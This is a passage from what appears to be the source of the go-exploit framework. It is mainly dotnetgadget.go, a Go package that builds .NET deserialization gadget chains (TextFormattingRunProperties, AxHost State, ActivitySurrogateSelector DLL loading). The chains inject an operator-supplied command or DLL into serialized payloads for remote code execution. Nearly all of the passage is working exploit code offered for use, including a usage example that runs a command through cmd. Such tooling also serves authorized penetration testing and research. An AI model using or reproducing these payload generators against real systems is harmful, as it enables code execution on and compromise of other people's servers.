xsi:type=\"SOAP-ENC:string\">x</key>\n    <value />\n    <next xsi:null=\"1\"/>\n</x3:ListDictionaryInternal_x002B_DictionaryNode>\n<x2:Version id=\"xref-11\" xmlns:x2=\"http://schemas.microsoft.com/clr/ns/System\">\n    <_Major>2</_Major>\n    <_Minor>0</_Minor>\n    <_Build>-1</_Build>\n    <_Revision>-1</_Revision>\n</x2:Version>\n"
  },
  {
    "path": "dotnet/dotnetgadget.go",
    "content": "/*\nPackage dotnet contains all of the gadget creation functions for use in exploits. Calling a gadget can be as simple as:\n\n\tpayload, ok := CreateWindowsIdentity(\"cmd\", \"/c calc\", dotnet.BinaryFormatter)\n\tif !ok { return \"\", false }\n\nThe exceptions are:\n  - CreateObjectRef and CreateVeeamCryptoKeyInfo as those take (url string, formatter string) instead.\n  - Targets using Protect and require the encryption key material and context.\n\nAny of the Create gadget funcs can be called with \"\" as their formatter which will return just the binary stream of the object, which is the same as binaryformatter.\n\nThis package additionally provides the primitives for creating new gadgets, which are comprised of a series of 'records' that ultimately define a class and its members.\n\nThe general format for a new gadget is similar to:\n\n\tserializationHeaderRecord\n\t+ binLibString\n\tCLASSWITHMEMBERSANDTYPES(ClassObjectID INT32 (usually incremented from 1) + ClassName + MemberCount, MemberNames + AdditionalInfo + []byte{member0Type, member1Type, memberNType, ...} + Library ID INT32 + Array of Membervalues) +\n\tstring(byte(RecordTypeEnumMap[\"MessageEnd\"])) (just a 0xb)\n\nSometimes this format gets a bit more complicated because the member values array will contain CLASSWITHMEMBERSANDTYPES records as array items so it's a nested class.\nAlso where ArraySingleStringRecord and ArraySinglePrimitiveRecord are concerned, these get referenced in member values and then are appended after the class record like so:\n\n\tpayload := serializationHeaderRecordString +\n\t\tbinaryLibraryRecordString +\n\t\tclassWithMembersAndTypesString +\n\t\tarraySingleStringRecordString +\n\t\tstring(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n*/\npackage dotnet\n\nimport (\n\t\"bytes\"\n\t\"embed\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\n//go:embed data\nvar data embed.FS\n\n// ReadGadget reads a gadget chain file by gadget name and formatter.\nfunc ReadGadget(gadgetName, formatter string) ([]byte, error) {\n\tgadget, err := data.ReadFile(filepath.Join(\"data\", formatter, gadgetName+\".bin\"))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"dotnet.ReadGadget: %w\", err)\n\t}\n\n\treturn gadget, nil\n}\n\nfunc lengthPrefixedString(input string) string {\n\tprefix := string(Write7BitEncodedInt(len(input)))\n\n\treturn prefix + input\n}\n\n// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/10b218f5-9b2b-4947-b4b7-07725a2c8127\n// https://referencesource.microsoft.com/#mscorlib/system/io/binarywriter.cs,2daa1d14ff1877bd\nfunc Write7BitEncodedInt(value int) []byte {\n\tvar (\n\t\tbs []byte\n\t\tv  = uint(value)\n\t)\n\n\tfor v >= 0x80 {\n\t\tbs = append(bs, byte(v|0x80))\n\t\tv >>= 7\n\t}\n\n\tbs = append(bs, byte(v))\n\n\treturn bs\n}\n\n// TextFormattingRunPropertiesBinaryFormatter serializes a TextFormattingRunProperties gadget chain using the BinaryFormatter formatter.\nfunc TextFormattingRunPropertiesBinaryFormatter(cmd string) string {\n\t// ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c mspaint.exe\n\tgadget, err := ReadGadget(\"TextFormattingRunProperties\", BinaryFormatter)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn \"\"\n\t}\n\n\tconst (\n\t\txmlLen7Bit = \"\\xba\\x05\"\n\t\txmlLenBase = 687\n\t)\n\n\t// Replace length-prefixed placeholder command with supplied command\n\tescapedCmd := transform.EscapeXML(cmd)\n\tgadget = bytes.Replace(gadget, []byte(\"mspaint.exe\"), []byte(escapedCmd), 1)\n\tgadget = bytes.Replace(gadget, []byte(xmlLen7Bit), Write7BitEncodedInt(xmlLenBase+len(escapedCmd)), 1)\n\n\treturn string(gadget)\n}\n\nfunc IsValidXML(data []byte) bool {\n\treturn xml.Unmarshal(data, new(any)) == nil\n}\n\nfunc CreateAxHostStateDLL(dllBytes []byte, formatter string) (string, bool) {\n\tbinaryLibrary := BinaryLibraryRecord{ID: 2, Library: \"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"}\n\tclassName := \"System.Windows.Forms.AxHost+State\"\n\tmemberNames := []string{\"PropertyBagBinary\"}\n\tadditionalInfo := []any{PrimitiveTypeEnum[\"Byte\"]}\n\tmemberValues := []any{MemberReferenceRecord{IDRef: 3}}\n\tmemberTypes := []string{\n\t\t\"PrimitiveArray\",\n\t}\n\n\tinnerNewGadget, ok := CreateDLLReflection(dllBytes, BinaryFormatter)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\t//  the member here is going to be yet another gadget, should be around 0xc7 37 00 00\n\tarraySinglePrimitiveRecord := ArraySinglePrimitiveRecord{\n\t\tPrimitiveTypeEnum: PrimitiveTypeEnum[\"Byte\"],\n\t\tArrayInfo:         ArrayInfo{ObjectID: 3, MemberCount: len(innerNewGadget)},\n\t\tMembers:           string([]byte(innerNewGadget)),\n\t}\n\n\tclassInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(memberNames), MemberNames: memberNames}\n\tmemberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tclassWithMembersAndTypes := ClassWithMembersAndTypesRecord{ClassInfo: classInfo, LibraryID: 2, MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, BinaryLibrary: binaryLibrary}\n\n\t// FINALIZE\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tserializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()\n\tbinLibString, _ := binaryLibrary.ToRecordBin()\n\tclassWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tarraySinglePrimitiveRecordString, ok := arraySinglePrimitiveRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tpayload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + arraySinglePrimitiveRecordString + string(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\tswitch formatter {\n\tcase LOSFormatter:\n\t\treturn FormatLOS(payload), true\n\tcase BinaryFormatter:\n\t\treturn payload, true\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'\")\n\n\t\treturn \"\", false\n\t}\n}\n\n// Serves a DLL in memory, used by CreateAxHostStateDLL.\nfunc CreateDLLReflection(dllBytes []byte, formatter string) (string, bool) {\n\t// This one is so large that it makes more sense to just build the \"final\" gadget as we go, so that's what is going to happen with this one.\n\tvar finalGadget string\n\tvar records []Record\n\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\trecords = append(records, serializationHeaderRecord)\n\n\t// SCWMT OBJECTID 1\n\tbinaryLibrary := BinaryLibraryRecord{ID: 2, Library: \"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"}\n\tmemberNames := []string{\"_items\", \"_size\", \"_version\"}\n\tmemberTypeInfo, ok := getMemberTypeInfo([]string{\"ObjectArray\", \"Primitive\", \"Primitive\"}, memberNames, []any{PrimitiveTypeEnum[\"Int32\"], PrimitiveTypeEnum[\"Int32\"]})\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tsystemClassWithMembersAndTypesID1 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    1,\n\t\t\tName:        \"System.Collections.Generic.List`1[[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\",\n\t\t\tMemberCount: len(memberNames),\n\t\t\tMemberNames: memberNames,\n\t\t},\n\t\tMemberTypeInfo: memberTypeInfo,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 2},\n\t\t\tPrimitiveInt32(0x0a),\n\t\t\tPrimitiveInt32(0x0a),\n\t\t},\n\t}\n\trecords = append(records, systemClassWithMembersAndTypesID1)\n\n\t// ASO OBJ 2\n\tvar arraySingleObjectMemberValues []any\n\n\t/// Building inner types for the array\n\tbinaryArrayRecord := BinaryArrayRecord{\n\t\tObjectID:            3,\n\t\tBinaryArrayTypeEnum: 1, // 1byte\n\t\tRank:                1, // >=0\n\t\tLengths:             []int{1},\n\t\tTypeEnum:            BinaryTypeEnumerationMap[\"PrimitiveArray\"], // 1byte\n\t\tAdditionalTypeInfo:  []any{PrimitiveTypeEnum[\"Byte\"]},\n\t}\n\n\t// binlib\n\tbinaryLibrary1 := BinaryLibraryRecord{ID: 14, Library: \"System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\"}\n\n\t// InnerClassValue\n\tmemberTypeInfoID4, ok := getMemberTypeInfo([]string{\"SystemClass\", \"ObjectArray\"}, []string{\"type\", \"memberDatas\"}, []any{\"System.UnitySerializationHolder\"})\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tclassWithMembersAndTypesID4 := ClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    4,\n\t\t\tName:        \"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef\",\n\t\t\tMemberNames: []string{\"type\", \"memberDatas\"},\n\t\t},\n\t\tMemberTypeInfo: memberTypeInfoID4,\n\t\tLibraryID:      14,\n\t\tMemberValues:   []any{MemberReferenceRecord{IDRef: 0x0f}, MemberReferenceRecord{IDRef: 0x10}},\n\t\tBinaryLibrary:  binaryLibrary,\n\t}\n\n\t// ClassWithIDRecord O5\n\tclassWithIDRecordID5 := ClassWithIDRecord{\n\t\tObjectID:     5,\n\t\tMetadataID:   4,\n\t\tMemberValues: []any{MemberReferenceRecord{IDRef: 17}, MemberReferenceRecord{IDRef: 18}},\n\t}\n\n\t// Add value types to create/finish this ASO record\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x3})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x4})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x5})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x6})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x7})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x8})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x9})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0a})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0b})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0c})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, ObjectNullMultiple256Record{NullCount: 6})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, binaryArrayRecord)\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0d})\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, binaryLibrary1)\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, classWithMembersAndTypesID4)\n\tarraySingleObjectMemberValues = append(arraySingleObjectMemberValues, classWithIDRecordID5)\n\n\t// Create the ASO and add to records\n\tarraySingleObjectRecordID2 := ArraySingleObjectRecord{ArrayInfo: ArrayInfo{ObjectID: 2, MemberCount: 0x10}, Members: arraySingleObjectMemberValues}\n\trecords = append(records, arraySingleObjectRecordID2)\n\n\t// ClassWithIDRecord O6\n\tclassWithIDRecordID6 := ClassWithIDRecord{\n\t\tObjectID:     6,\n\t\tMetadataID:   4,\n\t\tMemberValues: []any{MemberReferenceRecord{IDRef: 19}, MemberReferenceRecord{IDRef: 20}},\n\t}\n\trecords = append(records, classWithIDRecordID6)\n\n\t// ClassWithIDRecord O7\n\tclassWithIDRecordID7 := ClassWithIDRecord{\n\t\tObjectID:     7,\n\t\tMetadataID:   4,\n\t\tMemberValues: []any{MemberReferenceRecord{IDRef: 21}, MemberReferenceRecord{IDRef: 22}},\n\t}\n\trecords = append(records, classWithIDRecordID7)\n\n\t// ClassWithIDRecord O8\n\tclassWithIDRecordID8 := ClassWithIDRecord{\n\t\tObjectID:     8,\n\t\tMetadataID:   4,\n\t\tMemberValues: []any{MemberReferenceRecord{IDRef: 23}, MemberReferenceRecord{IDRef: 24}},\n\t}\n\trecords = append(records, classWithIDRecordID8)\n\n\t// ClassWithIDRecord O9\n\tclassWithIDRecordID9 := ClassWithIDRecord{\n\t\tObjectID:     9,\n\t\tMetadataID:   4,\n\t\tMemberValues: []any{MemberReferenceRecord{IDRef: 25}, MemberReferenceRecord{IDRef: 26}},\n\t}\n\trecords = append(records, classWithIDRecordID9)\n\n\t// ClassWithIDRecord O10\n\tclassWithIDRecordID10 := ClassWithIDRecord{\n\t\tObjectID:     10,\n\t\tMetadataID:   4,\n\t\tMemberValues: []any{MemberReferenceRecord{IDRef: 27}, MemberReferenceRecord{IDRef: 28}},\n\t}\n\trecords = append(records, classWithIDRecordID10)\n\n\t// ClassWithIDRecord O11\n\tclassWithIDRecordID11 := ClassWithIDRecord{\n\t\tObjectID:     11,\n\t\tMetadataID:   4,\n\t\tMemberValues: []any{MemberReferenceRecord{IDRef: 29}, MemberReferenceRecord{IDRef: 30}},\n\t}\n\trecords = append(records, classWithIDRecordID11)\n\n\t// SystemClassWithMembersAndTypesID12\n\tID12MemberNames := []string{\"LoadFactor\", \"Version\", \"Comparer\", \"HashCodeProvider\", \"HashSize\", \"Keys\", \"Values\"}\n\tID12MemberTypeInfo, ok := getMemberTypeInfo([]string{\"Primitive\", \"Primitive\", \"SystemClass\", \"SystemClass\", \"Primitive\", \"ObjectArray\", \"ObjectArray\"}, ID12MemberNames, []any{\n\t\tPrimitiveTypeEnum[\"Single\"],\n\t\tPrimitiveTypeEnum[\"Int32\"],\n\t\t\"System.Collections.IComparer\",\n\t\t\"System.Collections.IHashCodeProvider\",\n\t\tPrimitiveTypeEnum[\"Int32\"],\n\t})\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tsystemClassWithMembersAndTypesID12 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    12,\n\t\t\tName:        \"System.Collections.Hashtable\",\n\t\t\tMemberCount: len(ID12MemberNames),\n\t\t\tMemberNames: ID12MemberNames,\n\t\t},\n\t\tMemberTypeInfo: ID12MemberTypeInfo,\n\t\tMemberValues: []any{\n\t\t\tPrimitiveByteString(\"\\xec\\x51\\x38\\x3f\"), // This is the 'Single' type\n\t\t\tPrimitiveInt32(2),\n\t\t\tObjectNullRecord{},\n\t\t\tObjectNullRecord{},\n\t\t\tPrimitiveInt32(3),\n\t\t\tMemberReferenceRecord{IDRef: 0x1f},\n\t\t\tMemberReferenceRecord{IDRef: 0x20},\n\t\t},\n\t}\n\trecords = append(records, systemClassWithMembersAndTypesID12)\n\n\t// ASP ID 13\n\tarraySinglePrimitiveID13 := ArraySinglePrimitiveRecord{\n\t\tArrayInfo:         ArrayInfo{ObjectID: 13, MemberCount: len(dllBytes)},\n\t\tPrimitiveTypeEnum: PrimitiveTypeEnum[\"Byte\"],\n\t\tMembers:           string(dllBytes),\n\t}\n\trecords = append(records, arraySinglePrimitiveID13)\n\n\t// SystemClassWithMembersAndTypesID15\n\tID15MemberNames := []string{\"Data\", \"UnityType\", \"AssemblyName\"}\n\tID15MemberTypeInfo, ok := getMemberTypeInfo([]string{\"String\", \"Primitive\", \"String\"}, ID15MemberNames, []any{\n\t\tPrimitiveTypeEnum[\"Int32\"],\n\t})\n\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tsystemClassWithMembersAndTypesID15 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    15,\n\t\t\tName:        \"System.UnitySerializationHolder\",\n\t\t\tMemberCount: len(ID15MemberNames),\n\t\t\tMemberNames: ID15MemberNames,\n\t\t},\n\t\tMemberTypeInfo: ID15MemberTypeInfo,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{ObjectID: 33, Value: \"System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"},\n\t\t\tPrimitiveInt32(4),\n\t\t\tBinaryObjectString{ObjectID: 34, Value: \"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"},\n\t\t},\n\t}\n\trecords = append(records, systemClassWithMembersAndTypesID15)\n\n\t// ASO O16\n\tarraySingleObjectID16 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    16,\n\t\t\tMemberCount: 7,\n\t\t},\n\t\tMembers: []any{\n\t\t\tMemberReferenceRecord{IDRef: 3},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberReferenceRecord{IDRef: 36},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(0)},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(1)},\n\t\t},\n\t}\n\trecords = append(records, arraySingleObjectID16)\n\n\t// ClassWithIDRecord O17\n\tclassWithIDRecordID17 := ClassWithIDRecord{\n\t\tObjectID:   17,\n\t\tMetadataID: 15,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{\n\t\t\t\tObjectID: 37,\n\t\t\t\tValue:    \"System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\",\n\t\t\t},\n\t\t\t4,\n\t\t\tMemberReferenceRecord{IDRef: 34},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID17)\n\n\t// ASO O18\n\tarraySingleObjectID18 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    18,\n\t\t\tMemberCount: 7,\n\t\t},\n\t\tMembers: []any{ // any can be replaced by any\n\t\t\tMemberReferenceRecord{IDRef: 4},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberReferenceRecord{IDRef: 40},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(0)},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(1)},\n\t\t},\n\t}\n\trecords = append(records, arraySingleObjectID18)\n\n\t// ClassWithIDRecord O19\n\tclassWithIDRecordID19 := ClassWithIDRecord{\n\t\tObjectID:   19,\n\t\tMetadataID: 15,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{\n\t\t\t\tObjectID: 41,\n\t\t\t\tValue:    \"System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\",\n\t\t\t},\n\t\t\t4,\n\t\t\tMemberReferenceRecord{IDRef: 34},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID19)\n\n\t// ASO O20\n\tarraySingleObjectID20 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    20,\n\t\t\tMemberCount: 7,\n\t\t},\n\t\tMembers: []any{ // any can be replaced by any\n\t\t\tMemberReferenceRecord{IDRef: 5},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberReferenceRecord{IDRef: 44},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(0)},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(1)},\n\t\t},\n\t}\n\trecords = append(records, arraySingleObjectID20)\n\n\t// ClassWithIDRecord O21\n\tclassWithIDRecordID21 := ClassWithIDRecord{\n\t\tObjectID:   21,\n\t\tMetadataID: 15,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{\n\t\t\t\tObjectID: 45,\n\t\t\t\tValue:    \"System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\",\n\t\t\t},\n\t\t\t4,\n\t\t\tMemberReferenceRecord{IDRef: 34},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID21)\n\n\t// ASO O22\n\tarraySingleObjectID22 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    22,\n\t\t\tMemberCount: 7,\n\t\t},\n\t\tMembers: []any{ // any can be replaced by any\n\t\t\tMemberReferenceRecord{IDRef: 6},\n\t\t\tMemberReferenceRecord{IDRef: 48},\n\t\t\tMemberReferenceRecord{IDRef: 49},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(0)},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(1)},\n\t\t},\n\t}\n\trecords = append(records, arraySingleObjectID22)\n\n\t// ClassWithIDRecord O23\n\tclassWithIDRecordID23 := ClassWithIDRecord{\n\t\tObjectID:   23,\n\t\tMetadataID: 15,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{\n\t\t\t\tObjectID: 0x32,\n\t\t\t\tValue:    \"System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\",\n\t\t\t},\n\t\t\t4,\n\t\t\tMemberReferenceRecord{IDRef: 34},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID23)\n\n\t// ASO O24\n\tarraySingleObjectID24 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    24,\n\t\t\tMemberCount: 7,\n\t\t},\n\t\tMembers: []any{ // any can be replaced by any\n\t\t\tMemberReferenceRecord{IDRef: 7},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberReferenceRecord{IDRef: 53},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(0)},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(1)},\n\t\t},\n\t}\n\trecords = append(records, arraySingleObjectID24)\n\n\t// ClassWithIDRecord O25\n\tclassWithIDRecordID25 := ClassWithIDRecord{\n\t\tObjectID:   25,\n\t\tMetadataID: 15,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{\n\t\t\t\tObjectID: 54,\n\t\t\t\tValue:    \"System.Web.UI.WebControls.PagedDataSource\",\n\t\t\t},\n\t\t\t4,\n\t\t\tBinaryObjectString{\n\t\t\t\tObjectID: 55,\n\t\t\t\tValue:    \"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\",\n\t\t\t},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID25)\n\n\t// ASO O26\n\tarraySingleObjectID26 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    26,\n\t\t\tMemberCount: 7,\n\t\t},\n\t\tMembers: []any{ // any can be replaced by any\n\t\t\tMemberReferenceRecord{IDRef: 8},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(0)},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(10)},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Boolean\"], Value: PrimitiveByte(0)}, // PrimitiveByte \"renders\" the same. This should get cleaned up later\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Boolean\"], Value: PrimitiveByte(0)},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Boolean\"], Value: PrimitiveByte(0)},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(0)},\n\t\t},\n\t}\n\trecords = append(records, arraySingleObjectID26)\n\n\t// ClassWithIDRecord O27\n\tclassWithIDRecordID27 := ClassWithIDRecord{\n\t\tObjectID:   27,\n\t\tMetadataID: 15,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{\n\t\t\t\tObjectID: 57,\n\t\t\t\tValue:    \"System.ComponentModel.Design.DesignerVerb\",\n\t\t\t},\n\t\t\t4,\n\t\t\tBinaryObjectString{\n\t\t\t\tObjectID: 58,\n\t\t\t\tValue:    \"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\n\t\t\t},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID27)\n\n\t// ASO O28\n\tarraySingleObjectID28 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    28,\n\t\t\tMemberCount: 5,\n\t\t},\n\t\tMembers: []any{ // any can be replaced by any\n\t\t\tObjectNullMultiple256Record{NullCount: 2},\n\t\t\tMemberReferenceRecord{IDRef: 59},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(3)},\n\t\t\tMemberReferenceRecord{IDRef: 11},\n\t\t\tClassWithIDRecord{\n\t\t\t\tObjectID:   29,\n\t\t\t\tMetadataID: 15,\n\t\t\t\tMemberValues: []any{\n\t\t\t\t\tBinaryObjectString{\n\t\t\t\t\t\tObjectID: 61,\n\t\t\t\t\t\tValue:    \"System.Runtime.Remoting.Channels.AggregateDictionary\",\n\t\t\t\t\t},\n\t\t\t\t\t4,\n\t\t\t\t\tBinaryObjectString{\n\t\t\t\t\t\tObjectID: 62,\n\t\t\t\t\t\tValue:    \"mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\trecords = append(records, arraySingleObjectID28)\n\n\t// ASO O30\n\tarraySingleObjectID30 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    30,\n\t\t\tMemberCount: 1,\n\t\t},\n\t\tMembers: []any{\n\t\t\tMemberReferenceRecord{IDRef: 9},\n\t\t},\n\t}\n\trecords = append(records, arraySingleObjectID30)\n\n\t// ASO O31\n\tarraySingleObjectID31 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    31,\n\t\t\tMemberCount: 2,\n\t\t},\n\t\tMembers: []any{\n\t\t\tMemberReferenceRecord{IDRef: 10},\n\t\t\tMemberReferenceRecord{IDRef: 10},\n\t\t},\n\t}\n\trecords = append(records, 